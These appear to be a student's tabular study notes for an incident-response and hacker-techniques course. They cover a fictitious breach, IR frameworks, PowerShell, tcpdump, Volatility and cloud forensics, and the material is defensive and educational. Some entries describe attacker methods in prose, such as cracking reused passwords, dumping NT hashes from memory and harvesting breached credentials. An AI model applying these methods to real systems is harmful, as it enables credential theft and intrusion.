|  |  |  |  |
| --- | --- | --- | --- |
| Incident Response –  Sample accident: Argous Co. | * Incidents can get complex very quickly * To illustrate this, we’ll look at a simple incident * Victim’s name is Argous (Fictitious for class purpose) * Threat actors are called Green Penguin * They are state-sponsored “Consultants” * Help avoid attribution to their sponsor. | 1 | 10 |
| Incident Response –  Webserver compromise | Related to the Argous incident. A Sys admin notified that some odd traffic on a CRM server. TCP port 4444 is listening and the process is called Office\_remoter.exe, and they also see a process called Office\_techneter.exe which makes periodic outbound connections to the Microsoft social.technet.microsoft.com server over TCP/443 port. Defender promptly kill these processes which is common thing to do. | 1 | 11 |
| CRM | Customer Relationship Management, web application that sales employees us both when on the road and while at the office. | 1 | 11 |
| Incident Response –  Reconnaissance:  Argous Example | Scanned the publicly accessible address space of Argous and discovered a firewall, the CRM web application, and the other servers on the internet-isolated network. In this instance the threat actors didn’t take many steps to ne stealthy, while they dis use a VPN to obscure their IPaddress, they scanning activity generated a handful of alerts n the firewall, the IP address of the VPN servers were known to be malicious. | 1 | 12 |
| Anonymity tools | Tools used to provide anonymity such hiding your IP address. | 1 | 12 |
| Threat intel information | Used to identify proxy servers that is used for malicious activity | 1 | 12 |
| Mistake #1 | Ignored firewalls alerts of pre-attack traffic | 1 | 12 |
| Mistake #2 | No threat intel about known malicious IP | 1 | 12 |
| Incident Response –  Scan and Exploit Web app | The SSRF vulnerability allowed threat actors to read the source code of the CRM application leading to the discovery of a command injection vulnerability. The command injection vulnerability gave the threat actors the ability to run arbitrary commands. Both vulnerabilities could be exploited without needed to log into the web application. | 1 | 13 |
| Mistake #3 | Failed to fix know server-side request Forgery (SSRF) and command injection vulnerabilities | 1 | 13 |
| SSRF – Server-side Request Forgery | Involves an attacker abusing server functionality to access or modify resources. | 1 | 13 |
| Incident Response –  Pivot and internal Scanning | The threat actors realized the CRM web app had both public and private facing IP address. This was done so both remote and local employees could access the CRM functionality. A proxy that listened on TCP port 4444 was downloaded and forwarded access to internal network allowing the threat actors to pivot and send tragic around the firewalls filtering mechanism. “ Office\_Remoter.exe. | 1 | 14 |
| Mistake #4 | Dual-home host allowed pivot around the firewall | 1 | 14 |
| Mistake #5 | No monitoring on the internal network | 1 | 14 |
| Incident Response – Lateral movement | The threat actors stared performing reconnaissance and scanning again from behind the firewall. After finding passwords were accessible, they were able to crack them and realized a database administrator who had local administration permissions reused his password, allowing the threat actors to pivot and gain control. | 1 | 14 |
| White papers |  | 1 | 15 |
| Mistake #6 | Easily cracked password | 1 | 15 |
| Mistake #7 | Password reuse from CRM to domain | 1 | 15 |
| Incident Response –  Domain password Access and Pivoting | Threat actors noticed there was a local account on each system with the same AssetMgtAcct. Focusing their attention this account, the used their local administrator privileges on the database server to extract the NT hashes from memory and cracked the password offline. | 1 | 16 |
| Mistake #8 | Asset mgt account had same password on all systems | 1 | 16 |
| Mistake #9 | No alerts for new software on critical systems | 1 | 16 |
| incident Response –  Establishing Persistence, command & Control | Even after killing the 2 processes found on the CRM server, Office Remoter (the proxy) and Ofice\_techneter (the c2 channel) the attackers still had malware installed on the 3 other systems, the CRM command injection n vulnerability, and the reverse TCP connections from the internal systems. | 1 | 17 |
| Mistake #10 | The victim failed to add filters to the firewall for the incoming traffic to the TCP port 4444. | 1 | 17 |
| Mistake #11 | Didn’t scan rest of network for indicators of compromise. | 1 | 17 |
| Incident Response: 6 steps  PICERL | Preparation, identification, containment, eradication, recovery, lessons learned | 1 | 18 |
| Preparation | Refers to activities an organization does before an incident occurs, this includes police procedure, implementing internal monitoring, security best practices, etc. | 1 | 18 |
| Identification | It could happen in many ways, such as customers calling about the “internet being down”, or maybe an IDS alert. This phase is known as “detection” | 1 | 18 |
| Containment | Once an incident has been identified, the next step is containment. Sometimes containment is divided into multiple actions: Short term followed by evidence collection, and long term (more invasive) containment once the evidence has been collected. | 1 | 18 |
| Eradication | Refers to undoing the damage the threat actors did | 1 | 18 |
| Recovery | Refers to the steps taken to get business systems back up and running. | 1 | 18 |
| Lessons learned | Is when the final report is written, and the vulnerabilities the threat actors exploited are fixed. | 1 | 18 |
| Incident Response –  Common Problems | * A deeper problem lies in a linear (static) approach to incident response. * Poor security hygiene (lack of visibility and threat intelligence) * Little scoping (if any) leads to complete containment (sometimes, they even skip this part completely) * Not fixing the vulnerabilities. * Failure to apply lessons learned by not identifying the root of the issue | 1 | 19 |
| Incident Response –  Best practices | * Principle of least privilege. * Strong passwords * Network monitoring * Log aggregation * Employing threat intelligence. | 1 | 19 |
| Dynamic Approach on Incident Response (DAIR) | There is no recipe for incident response, and a static or leaner approach just won work. Instead of thinking of incident response as phases or steps, it’s better to think in terms of waypoints, outcomes, and activities as shown in illustration on this page. | 1 | 20 |
| DAIR –  Preparation | 1. know thy organization  * What is important to the business? * What policies and procedures are in place?  1. Internal visibility is key for responding to incidents.  * This will often form the bulk of evidence during an investigation. * Network and host visibility are both important * Who reviews logs? How often? * Identifying existing sources and gaps can be an eye-opening exercise.  1. Have plans for recovering systems.  * Often, the most cost-effective way to eradicate rootkits is to rebuild. * Backups, backups, backups.  1. Prepare the IR team (training, practice, ethic obligations. | 1 | 21 |
| Internal logging mechanism | Internal IDS, Firewall logs, endpoint logs etc. | 1 | 21 |
| DAIR –  Detection | * Many possible sources for detecting an incident. * Network devices (firewalls, IDS) * Host logs (System logs, application logs) * Admins and users n noticing something isn’t right. * Threat intelligence feeds * Third-party notification * The first decision is always verification * Do you have an incident, or is it a false positive? * Sometimes easy, such as a website defacement * Sometimes difficult, requiring a full forensic examination. * It’s also a good idea to triage. * What type if incident is it? * Affects how you respond | 1 | 22 |
| Example: Application Log Detect | * This is login attempts from a WordPress app. * Application log in information * This could be an attack due to the 10 failed attempts. * Attacker may be using an anonymization tool to mas their identity. * We don’t know if this system is always this busy. We don’t have enough information to make this assertion. | 1 | 23 |
| Scoping | * Many incidents involve threat actors moving laterally, once behind the firewall, move to other systems. * Proper scoping is key, determining where threat actors are isn’t always easy. * Scope may change, scan the enterprise for known indicators of compromise. Not uncommon to find new IOCs during an incident. * Make full use of existing detection mechanisms, may also write scrips (or use tools) to scan. Use known IOCs to scan the rest of the organization throughout your investigation. | 1 | 24 |
| Velociraptor | * IR teams need scalable tools to conduct analysis on endpoints. * Velociraptor is a free tool from Velocidex. Agent software for Windows, Linux, macOS. Server software for data collection, analysis. * Easy to setup and deploy. * Asynchronous communication support. * Query file system registry: run remote commands, interrogate clients artifacts, all build on Velociraptor Query Language (VQL) | 1 | 25 |
| Velociraptor –  Notes | The Velociraptor agent is a VQL endpoint, allowing an admin to query systems to collect information. Velociraptor can be deployed quickly on select endpoints or run as an agent for always available interrogation. | 1 | 25 |
| Velociraptor – GUI | Interesting tool because we can look at the date stamp information and the name information, what processes and attacker used. This would help discovering IOCs on a compromise platform. | 1 | 26 |
| Containment | * Stop the threat actor from continuing to operate in the environment. * Requires proper scoping to be successful. * May help meet other goals such as eradication. * Containment may occur in multiple stages, like business decision or evidence collection. | 1 | 27 |
| Containment –  Activities | May include network isolation, patching, eliminating account or backdoor access, using network filtering devices, and manipulating DNS entries, the goal is to deny the attacker access through minimal change to systems | 1 | 27 |
| Eradication | * Undoing the threat actor actions, containment is about stopping their operations, eradication is about removing them.   Example activities:   * Restoring systems from trusted backups * Removing threat actor process, accounts. * Performing a vulnerability assessment.   May also help meet goals such a recovery:   * Dealing with fraudulent transactions. * Modified source code. | 1 | 28 |
| Recovery | * Business needs to get back up and running.   Rebuilding a system is often the most cost effective:   * Not always possible. * May consider shorter-term containment options as a band-aid to buy time.   Try to bring systems online during off-hours:   * Easier to monitor. * This is a business decision, and you may be overruled. | 1 | 29 |
| Remediation | Try to identify and fix the root cause.  Compromise due to a weak password:   * Why was the weak password allowed? * Can be difficult if multiple factors involved.   Closely monitor any compromised system:   * A rootkit and/or backdoor suggest intent to return. * Monitor network sensors, host, and application logs. * Look for incident-specific IOCs | 1 | 30 |
| Post-Incident | * Develop a final report. * Right after an incident, there is a lot of momentum, the impact fades over time.   Schedule a follow-up review:   * What has been implemented? * Has the organization been compromised again? Original compromise? * Timeframe varies, but 30, 60, and 90 – day increments are not uncommon. | 1 | 31 |
| Dynamic Approach on Incident Response (DAIR) |  | 1 | 32 |
| Visual summary: Incident Response |  | 1 | 33 |
| Live examination | A way to find compromised systems is there is no know signature or during an incident with known IOCs? In this case Network traffic can be very useful. However, not all malware generates traffic and encryption can make things difficult. | 1 | 35 |
| Microsoft PowerShell -Live examination | * Powerful command interpreter and scripting language. * Primarily windows but also available for UNIX systems. * Powerful pipelining capabilities, data access and filtering options. * Primary tool for host analysis. | 1 | 36 |
| Microsoft PowerShell -Live examination: Shortcomings | Powerful capabilities but limited introspection security risks, incomplete data access, steep learning curve, and a required change in how we think about working with data. | 1 | 36 |
| Examining Process: Live examination  PowerShell | * Get-Process: Get brief information about running processes * Get-Process ‘powersh\*’ : Get brief information about a named process with a wildcard. * Get-Process ‘powershell’ |Select-Object \* : Detailed information. * Get-Process -ComputerName SEC504STUDENT: Remote systems. | 1 | 37 |
| Get-Process | Foundational activity for examining a live system is to investigate running processes. Running it with no arguments will display several columns of information about the running processes. Doesn’t provide you information about the parent process. | 1 | 37 |
| Get-CimInstance Process Data: Live examination | CIM is the Common Information Model part of the windows management instrumentation (WMI) framework that lets us interrogate detailed information about the Windows host. | 1 | 38 |
| Get-CimInstance  Example | **PS C: \Users\Sec504> Get-CimInstance -Class Win32\_Process | Where-Object -Property ParentProcessID -EQ 644**   * **Get-CimInstance -Class Win32\_Process |** : Returns an object with Windows process information, start the PowerShell pipeline with | * **Where-Object :** Start a loop examining each process returned by Get-CimInstance. * **-Property ParentProcessID :** Create a filtering expression based on the ParentProcessID property value. * **-EQ 644 :** Display process where the ParentProcessId parameter is equal to 644. | 1 | 38 |
| Identifying Suspicious Process | Is it a new or unrecognized process?  Is the name random-looking?  Is it running from a non-standard path?  Is the parent suspicious?  Is the parent-child relationship suspicious?  Is it tied to suspicious activity?  Based 64 encoded command-line options?  These recommendations can identify suspicious process, but additional analysis is required to identify if the process is malicious. | 1 | 40 |
| EncodedCommand | Pay close attention to any running processes that have base64-encoded command-line options. Many attackers use PowerShell’s -EncodedCommand to specify the content of a script. Note that not every -EncodedCommand is suspicious, it is just worth to investigate. | 1 | 40 |
| CyberChef | Is useful for encoding and decoding any data, not just process-related information. | 1 | 41 |
| Examining Network Usage | Get-NetTCPConnection will display network connection information, including listening ports, bound ports (reserving a port number but not yet accepting connections), stablished connections, and several other statuses. It doesn’t not show the process name. | 1 | 42 |
| Get-Process -Is processed | This PowerShell command will retrieve both the network connection details and the process name in one command. | 1 | 42 |
| Get-NetTCPConnection | will display network connection information, including listening ports, bound ports (reserving a port number but not yet accepting connections), stablished connections, and several other statuses. It doesn’t not show the process name. | 1 | 42 |
| Identifying Suspicious Network Activity | Abnormal for the associated process   * Notepad making connections to port 80 * Service making multiple outbound connections (could be an updater)   Abnormal for the environment   * Lots of activity during off hours * Long running HTTP/HTTPS sessions * Beaconing   Technique-specific   * Lateral movement implies connections to other internal hosts   Know Malicious hosts/addresses   * Based on threat intelligence * From incident, or other processes/ connections ( i.e., pivoting) | 1 | 43 |
| Examining Services | Another live examination activity is to examine Windows services. Windows services are background tasks that are controlled through the windows services.exe process and can be confitures to start automatically. Attackers will often use Windows services as a persistence method, to gain continued access to a compromised system after reboot. We can use Get-Service followed by Get-CimInstance to get the running services and to retrieve additional information. | 1 | 44 |
| Get-Service | Is also used in a live examination to examine Windows services in the background. To obtain additional information: **Get-Service | Select-Object**. | 1 | 44 |
| Get-CimInstance | Is also used in a live examination to examine services because Get-Service will not provide sufficient information. Using it with -ClassName Win32\_service to get additional details about Windows services. | 1 | 44 |
| Registry Interrogation | Get-ChildItem: Like navigating a file system, we can examine the register using HKLM: or HKCU: prefix. Get-ItemProperty: For a given registry key, Examine the values. | 1 | 45 |
| Get-ChildItem | Can be used for registry interrogation. It is like navigating a file system, we can examine the register using HKLM: or HKCU: prefix. | 1 | 45 |
| Get-ItemProperty | Can be used for registry interrogation. For a given registry key, Examine the values. | 1 | 45 |
| Unusual Accounts | Get-LocalUser Get-LocalGroup Get-LocalGroupMember | 1 | 46 |
| Unusual Scheduled Tasks | Get-ScheduledTask : Look for unusual scheduled tasks. Get-ScheduledTaskInfo : Export scheduled task for command details. Export-ScheduledTask : Examine last run status. | 1 | 47 |
| Unusual Log Entries | Get-WinEvent | 1 | 48 |
| FilterHashTable | PowerShell. When you don’t need all the data, it helps you filter data. It is better than using Where-Object |. It gets event for a specific data range | 1 | 48 |
| Differential Analysis | Compare-Object Where we can take a list of known good services, take a list of current services, and then that will display all the things that changed and things that we need to investigate | 1 | 50 |
| PowerShell Cheat Sheet |  | 1 | 51 |
| PowerShell Legacy commands | It is Ok to continue using legacy commands to get the information you need to complete your analysis. When invoking legacy commands, specify .exe at the end of the command to avoid using PowerShell aliases with the same name. | 1 | 52 |
| Additional Supporting Tools | * The Sysinternals tools are excellent and free.   The center for internet security has templates that can be used and scoring tools that can be used with Windows. | 1 | 53 |
| Sysinternals tools | Suite of tools to add to your incident response and detection arsenal.   * **Process explorer**: detail information for running processes. * **Autoruns**: displays a comprehensive list of AutoStart extensibility points (ASEP) * **Process Monitor:** Shows file system, registry, network and process information in real time. * **Sysmom**: Collects detailed event information for system monitoring and analysis. * **TCPView:** Maps listening and active TCP and UDP activity to the associated applications. * **Procdump:** CLI tool to capture memory for a running process for analysis | 1 | 53 |
| Visual summary: Live Examination |  | 1 | 54 |
| Network Investigations | Network information can provide valuable insight into an investigation, it is not without challenges though and should be used to augment other analysis activities. | 1 | 59 |
| Network investigations:  Sources | * Network Traffic: live capture * Network Devices: Firewalls, proxies.   Host Devices: Windows event logs can create logs about the network’s interaction. | 1 | 59 |
| Network investigations:  Challenges | * Accessibility: Data Export. * Fidelity: Missing data.   Visibility: Encryption | 1 | 59 |
| Analyzing Packet Captures | Full packet capture is often considered a gold standard.   * Provides the lowest (practical) View of data, * Analysis and investigation can be done offline.   Still have limitations in practice   * Very large files. * Encryption can hinder analysis. * Application layer protocols not easily evaluated.   Two commonly used format.   * Pcap: Older format, widely supported.   Pcapng: extensible, advance features such as encryption, stored comments, improves timestamps resolution and more | 1 | 60 |
| Tcpdump | Its power comes from the ability to extract useful information quickly at the command line leading to opportunities for parsing the output with text processing tools and automating these tasks | 1 | 61 |
| Tcpdump | Command-line tool to capture and display network traffic.   * In widespread use for several decades and display network traffic.   Available on most environments and platforms.   * Unix-like (Linux, macOS, BSD) Windows (windump) * Even many embedded analyses.   Performs Basic protocols analysis.   * Interprets IP, TCP, UDP, ICMP, etc.   Includes powerful options for filtering. | 1 | 61 |
| Tcpdump options | * Tcpdump -i interface: Capture traffic for an interface. Can also use *any.* * Tcpdump -i interface -w file: Captures for an interface and write to a file. * Tcpdump -r file -n: Read packets from a file and don’t resolve hosts and ports.   Tcpdump -r file -n -A: read packets from a file, don’t resolve, show as ASCII | 1 | 62 |
| Berkeley Packet Filters (BPF) | Specialized language for filter packets.   * BPF expressions are composed of primitives and operators. * Primitives are composed of one or more qualifiers and an ID   Three kinds of qualifiers   * Type: what kind of ID is (host, net, port, or port range) * Dir: the direction (src, dst) * Proto: match a protocol IP, TCP. UDP, ICMP)   Can combine multiple primitives   * Using and (and, &&) or (or, ||) and not (not, !)   Parentheses to add precedence can also clarify intent. | 1 | 63 |
| Berkeley Packet Filters (BPF) Examples: | * tcpdump -r file ‘host 8.8.8.8’ : Traffic going or from host 8.8.8.8 * tcpdump -r file ‘src host 8.8.8.8’ : Traffic coming from host 8.8.8.8 * tcpdump -r file ‘not src host 8.8.8.8’ : Traffic where the src is not 8.8.8.8. * tcpdump -r file ‘icmp and (src host 8.8.8.8)’ : Only ICMP from 8.8.8.8 | 1 | 64 |
| Web Proxies | Many corporate environments use web proxies.   * A local cache can reduce bandwidth usage. * Can filter out sites inappropriate for business.   With the widespread use of web apps, web traffic is becoming more valuable to investigations.   * Build more through profile of user activity. * Identify anomalous / suspicious requests. * Potential to intercept SSL/TLS traffic.   Squid is a popular open-source web proxy other include, Blue coat, Forefront, TMG, etc. | 1 | 65 |
| Access Logs | Record individual requests   * User definable format, but default is quite verbose. * May or may not include URL, depending on configuration. | 1 | 66 |
| Visual Summary: Network Investigations |  | 1 | 67 |
| Memory Investigations (RAM investigations) | WinPmem: capture RAM in Windows   * Analyzing an image of RAM has become a staple of investigations * First, we need to collect memory (WinPmem) * Then we use the same strategies for examining memory images as on live systems. * identifying suspicious processes, network connections, etc. | 1 | 70 |
| Volatility Overview | * Volatility is a python framework for analyzing memory (first released in 2007, big update to version 3 in 2021) * Runs on Windows, macOS, Linux. * Analyzes Windows, macOS, Linux memory captures. * Specify a memory capture and a desired plugin for analysis. | 1 | 71 |
| Listing Processes | windows.pslist.PsList: this plugin lists processes, similar to how the operating system would using live analysis tools (like Get-Process). | 1 | 72 |
| Parent and Child Processes | windows.pstree.PsTree: this plugin lists the parent child relationship and it is represented by an \* and indentation. | 1 | 73 |
| Scanning for Network Connection | windows.netscan.NetScan: This plugin helps you investigate unexpected network listenners or connections. It is similar to the output of netstat, or Get-NetTCPconnection and Get-NetUDPEndpoint. | 1 | 74 |
| Process Command Line | windows.cmdline.CmdLine: this command line details reveals the location for the process executable and the command line arguments. | 1 | 75 |
| Volatility plugins: | *windows.dlllist.DllList*: List DDLs for processes.  *Windows.driverscan.DriverScan*: List kernel modules  *Windows.envars.Envars*: Lists environment variables  *Windows.filescan.FileScan*: Scan for files  *Windows.dumpfiles.DumpFiles*: Carve out files  *Windows.info.Info*: Examine Windows version information  *Windows.hashdump.HashDump*: Retrieve password hashes.  *Windows.privileges.Privs*: List privileges by process  *Windows.registry.hivelist.Hivelist:* List registry hive offsets  *Windows.registry.printkey.PrintKey*: Access keys with - - offset  *Windows.registry.userassist.UserAssist:* Enumerate programs run from start menu.  *Windows.registry.certificates.Certificates:* List trusted certificates in windows cert. store.  *Windows.svscan.SvcScan*: List service name, display name and PID. | 1 | 76 |
| Applying Memory Investigation | Memory investigation steps are similar to live investigation steps.   * We use volatility to analyze memory instead of PowerShell cmdlets.   The Analysis process starts with the EOI (event of interest)   * Suspicious process? Start with PSList and PsTree * Suspicious network listener? Start with NetScan, the move to processes. * Suspicious programs? Start with CmdLine, then processes. | 1 | 77 |
| Visual Summary: Memory Investigations |  | 1 | 77 |
| Malware Investigations | How to you know if an unknown program is evil?   * Suspicious isn’t necessarily malicious. * Oddly name executables aren’t enough, might still be benign.   How can you determine indicators?   * Someone might have reverse engineered it already * But not always .. and sometimes signatures change.   Malware investigations can also feed threat intelligence.  Two basic approaches   * Monitoring the environment: behavioral analysis. * Examining code: static analysis. | 1 | 81 |
| Online Analysis Sites | Online engine that performs various types of automated analysis and can save you a lot of time.  VirusTotal: will run a specimen through several antivirus engines, can you can purchase access to uploaded specimens.  Hybrid Analysis: has sandboxes that run malware and record activity. Can choose if sample should be shared with community, and offers a commercial onsite product. | 1 | 82 |
| Practicing Good Hygiene | Minimize attack surface for the malware.   * Don’t want to be the reason your organization is on the front page of the internet storm center.   Never EVER investigate malware on your day-to-day host…EVER.   * An air-gapped system that you wipe after each use is ideal.   More common to use a VM   * Use host-only (or equivalent) networking. * Enable firewalls and other measures on the host.   Options for transferring data: USB devices, temporarily-enables virtual machine folders. | 1 | 83 |
| Basic Attributes | One of the first things we need to do when investigating malware is to calculate a cryptographic hash sum.   * Get-FileHash file: Calculate the SHA256 hash of a file on Windows. * Strings file: View ASCII and 16-bit little endian Unicode strings. * $ strings file: view the ASCII strings on Linux. * $ strings -e l file: view 16-bit little endian Unicode strings on Linux. | 1 | 84 |
| Monitoring the Environment | You will often need to run through this strategy several times, changing the environment to meet the malware’s actions.  Monitoring the environment is a common strategy for investigating malware.  Basic strategy:   1. Get environment ready. 2. Take a VM snapshot (if applicable) 3. Enable monitoring tools. 4. Run malware. 5. Interact with malware (optional) 6. Kill malware (optional) 7. Pause monitoring tools. 8. Review output. | 1 | 85 |
| Snapshot vs Continuous Recording | A snapshot only sees the first and last event.  Some monitoring tools take snapshots of the environment.   * Take a snapshot before and after running the malware, and compare.   Others record continues changes/events.   * Start the tool before running the malware, and let it record.   Continues recording tools gather much more data and see things a snapshot might miss; this is also a drawback. | 1 | 86 |
| Regshot | Takes and compares a snapshot of the registry and optionally file system.  Provides summary of changes.   * What was added * What was removed * What changed   Process:   * 1st shot * Run malware (and optionally interact) * 2nd shot * Compare. | 1 | 87 |
| Regshot Output | Prefetch files can have useful evidence during an investigation, including when a program was most recently executed. | 1 | 88 |
| Process Monitor | Is a dynamic or continuous monitoring tool, it will record all registry, all file system, all network, all process even, and it could be turn on and off. | 1 | 89 |
| Summarizing Process Monitor Output | Even with filters, process monitor generates lots of output.  Can Focus on individual categories using buttons.  Basic summaries available under tools menu.   * Summarize various categories of activity. | 1 | 90 |
| Process tree | Process Monitor’s more useful summary tools. To get more details about a process, such as time it started, its command line, and optional exit time, just click on the process. It builds its tree based on captured events, we can see the process start and stop times, as well as detailed command line paremeters. | 1 | 91 |
| Analyzing Code | Often requires some knowledge of the target language.   * Even a little understanding goes a long way.   IDA PRO is the most well-known tool in this area.   * Both disassembler and debugger * Optional decompiler (Hex-Rays) * Commercial   Ghidra by NSA:  Open source, but has support for collaboration. It is pretty expensive. | 1 | 92 |
| Visual Summary: Malware Investigations |  | 1 | 93 |
| Cloud Investigations | How do we apply what we’ve learned about incident response to cloud systems?   * Complex technologies, rapidly changing * Even defining cloud can be difficult: infrastructure, platforms, software.   Cloud IR resembles on-premises IR; however, the tools and techniques are very different. | 1 | 96 |
| Security Responsibility Demarcation (IaaS, PaaS, SaaS) | All cloud provides have a shared responsibility model.  Responsible party changes with different products, even in same vendor.   * Container services vs. VMs vs. serverless vs. abstract services. * AWS EC2 vs LightSail, Google Computer vs Cloud Run.   See book for a more detailed description of the demarcation. | 1 | 97 |
| Preparation: Cloud IR Account Access | Conduct analysis in the cloud, matching the same region. Working where the data is will be much faster and less costly.  Prepare a cloud IR analysis workstation.  Ideal: Perform IR from a different service account.   * Same tasks performed with an in-cloud account. * Logging, host analysis, storage should an alternate cloud service account for isolation. | 1 | 98 |
| Preparation: Configuring Logging | For cloud systems, one of the major considerations for preparations is the configuration and deployment of logging systems. Important things to log.drtf   * API Access: Threat hunting, platform misuse. * Network Flow: Attack timeline identification, scoping. * Storage Requests, Responses: Assess data access, exfiltration, breach reporting. * Traffic mirroring: Detailed insight into network activity for analysis. * Verification of breach data access, threat hunting. | 1 | 99 |
| Logging | Chart | 1 | 100 |
| Detection: Cloud Analysis Tools | Once logging is configured for the cloud provider, we can start to apply detection and threat hunting using the cloud data. Preserving the idea that cloud IR is best done in the cloud, it is also best practice that the logging information be reviewed on a continual basis using cloud-provider analysis tools, augmented with manual analysis for a deeper inspection by the incident response analyst.  Threat detection uses endpoint data and cloud control plane data (API used to access cloud assets)   * AWS GuardDuty * Azure Sentinel * GCP CloudArmor | 1 | 101 |
| Containment: Isolate, Protect, Snapshot, Label | Cloud tools are well-designed to accommodate containment, labeling.   1. Detach and deregister instance from autoscaling or load balance groups. 2. Isolate the instance security group (ACL rules, isolated VPC) 3. Prevent accidental termination with termination protection. 4. Snapshot storage volumes, VM. 5. Add tags to show that the instance is under investigation.   These steps are primarily intended for infrastructure as a Service (IaaS instances but can also be applied to PaaS, SaaS services as well. For cloud PaaS infrastructure, we apply similar steps to the container as opposed to the virtual machine instance. | 1 | 102 |
| Containment: Data Collection with Storage | After creating an image, you can export the image to block storage for later analysis or use block storage on a live system as a detachable storage entity.s  aws ec2 describe-volumes aws ec2 attach-volume | 1 | 103 |
| Analysis: Cloud Logging Data, Dashboards | Like a webserver, S3 logs record user agent information and other useful content. S3logparse gathers useful data.  Some cloud analysts become frustrated because of the format and configuration of logging data is inconsistent. Fortunately, server tools are available to assist with manual review of logging information. Please see book for more details. | 1 | 104 |
| Response: Access Key Revocation | Very straightforward. To revoke someone’s keys, AWS users can visit the identity and Access Management (IAM) page in the AWS console and search by access key to identify the user associated with that key.  **Reset password twice for Azure AD** | 1 | 105 |
| Recovery and Remediation | Restore snapshots to known-good version based on log analysis timeline and understanding of the incident.  Review an audit access passwords, keys, tokens, roles, policies, groups, and permissions.   * Validate MFA (multi-factor authentication) for users * Verify policies and privileges are restricted to the minimum need for a job function.   Increase logging verbosity on target systems for extra visibility.  All API access, packet capture.  Remediation is often not fun of incident response but it is still vitally important. Critical analysis of access methods and change auditing are necessary to prevent recurring compromise. | 1 | 106 |
| Cloud IR - Additional Considerations | Foster data preservation with developers and cloud operations staff.   * Too often DevOps will terminate and restart to address a “bug”. * Eliminates important information about an incident.   IR in cloud will cost money (bandwidth, storage, instances)   * Get access and prior approval for this.   Establish support channel with cloud providers in advance (SLA capabilities)  Conduct tabletop exercises (see media files bonus module and lab) | 1 | 107 |
| Visual Summary: Cloud Investigations |  | 1 | 108 |
| **BOOK 2: RECON, SCANNING AND ENUMERATION ATTACKS**  **Hacker Tools, Techniques, and Exploits Introduction** |  |  |  |
| Purpose of This Course |  | 2 | 5 |
| Hacker | Is a highly intelligent individual who wants to explore technology to learn | 2 | 5 |
| Why We're Covering What We're Covering | Because they are widespread use right now, they provide us fundamental information about the principles the attackers employ. | 2 | 6 |
| Always Get Permission | * Full and documented permission is essential before you run any of these tools on a network. * When getting permission, it needs to be in writing. * The documented permission should also state that the giver of permission understands there may be potentially adverse side effects of the scanning or testing activity. | 2 | 7 |
| General Trends: Attack for Fun and Profit | Attackers are figuring out how to make money from their malicious code.  Ask law enforcement: If there’s money in a given crime, we’ll see much more of it.  How to make money on malicious code:   * Cryptocurrency miners * Spam and web-based advertising * Phishing: Email, phone, and targeted (spear) phishing. * Denial-of-service extorsion. * Keystroke loggers stealing financial information. * Rent out armies of infected systems for all the above. * Ram scrapers pulling CC numbers from POS terminals.   Ransomware. | 2 | 8 |
| General Trends: Consumer Device Attacks | * Internet of things devices are widespread in the home and in the enterprise. * Price competition between vendors and short time-to-market development cycles often produces lackluster security features. * Product adoption continues with little ability to manage devices on a large scale. | 2 | 9 |
| General Trends: The Golden Age | Attackers are growing in sophistication but so are defenders.  More scientific and precise approaches to defense, costly breaches have produced top-level support for infosec skills. Knowing systems and networking is good and adding infosec skills differentiates you from your peers. | 2 | 10 |
| **MITRE ATT&CK Framework** | Is a not -for-profit US company managing technical Federally Funday Research and Development Centers (FFRDCs)  ATT&CK Framework is a knowledge base, mapping adversary tactics, techniques, and procedure (TTPs), based on real-world observations.  ATT&CK integrates a common nomenclature for attacks. | 2 | 12 |
| MITRE ATT&CK Framework | Attacker TTPs are complex and difficult to characterize comprehensively. ATT&CK provides an easy framework to characterize and cross-reference attack techniques to gain better insight into how attackers operate, and how to defend networks. | 2 | 12 |
| MITRE ATT&CK (Enterprise Matrix) |  | 2 | 13 |
| How we integrate SEC504 with ATT&CK | Content is normalized using the nomenclature conventions adopted by ATT&CK.   * This gives you a consistent framework to work from when describing documenting, and discussing attacker tactics, techniques, and procedures.   Cross-reference tools and techniques with ATT&CK identifiers.   * Let’s talk about password spray attacks (credential Access: TA0006) * “Donut injects shellcode into existing assemblies and payloads” (Process Injection: T1055)   Validation for attack tool and defense realism. | 2 | 14 |
| MITRE ATT&CK References | Attack techniques and tactics are categorized with the MITRE ATTACK Id in the top right.  Notes pages provide reference links for techniques and tools. | 2 | 15 |
| **Open-Source Intelligence** | OSINT | 2 | 17 |
| Reconnaissance | The internet is a treasure trove of information for a curious attacker.  Reconnaissance is building intel, looking for opportunities.  Two general types of attackers   * Non discriminating attackers: Look for low-hanging fruit, and my skip this step (musabetsu-kougeki) * Attackers out to get a particular site: this step is extremely important.   Helpful step for experience attackers.  Reconnaissance usually begins with OSINT collection. | 2 | 17 |
| Open-Source Intelligence | Before sending your first packet to a target, you should collect OSINT data.   * All organizations have lots of data online. * Planned sharing: Hacked email addresses for third party websites, employee social media content, website certificate details, internal servicer links, public forum data, document metadata and many more.   OSINT is the collective representation of this data in a useful manner.  Leveraged offensively and defensively. | 2 | 18 |
| WHOIS | WHOIS data used to be a valuable source of email, phone, and address data. GDPR compliance ended that run.  OSINT source is the collection of WHOIS data.  Registrar collects information such as name, phone number, address, and email information.  WHOIS data is classified as by the MITRE PRE-ATTACK framework. ID TI596.002 | 2 | 19 |
| Certificate Transparency: The new WHOIS | Use certificate transparency searches to identify unknown targets associated with an organization, or the presence of now hosts that have not yet been advertised as available.  Modern Browsers do well detect malicious website certificates.  Modern browsers do not do well detecting malicious certs issued by trusted CAs.  Cert transparency requires CAs to publish certificate issuance logs.  Open for scrutiny to look for suspicious certs and for OSINT gathering.  Gather information about targets, which CAs are in use. When certs are renewed and more. | 2 | 20 |
| Certificate transparency | Crt.sh uses reveals hosts that may not be public yet. | 2 | 21 |
| Have I been pawned? | It is a clearing house; they collect information from people that have been breached. They allow people to search by phone number or by email address.  Identify if an account has been breached then collect the passwords to explore password reuse exposure. | 2 | 22 |
| OSINT Data Collection | The challenge of OSING data: Lots of unique data sources.  OSINT data sources are many and varied in accessibility.   * Free, no registration required. * Free, registration required. * Paid, price per lookup * Paid, (inset payment collection model here)   Accessibility and confidence in OSING data sources can also be a challenge.   * Are you collecting all. The information available? * How can you collect and parse the information quickly? | 2 | 23 |
| SpiderFoot | Has a straightforward interface to collect OSINT data from hundreds of online sources. Specify a scan name and a seed target (Usually a hostname, email address, or a domain name) to start a scan. | 2 | 24 |
| SpiderFoot tip | SpiderFoot queries data from many different online sources. Some sources require registration to obtain an API key, if you don’t specify an API key, SpiderFoot records that module as an error and scans with the other remaining modules. | 2 | 25 |
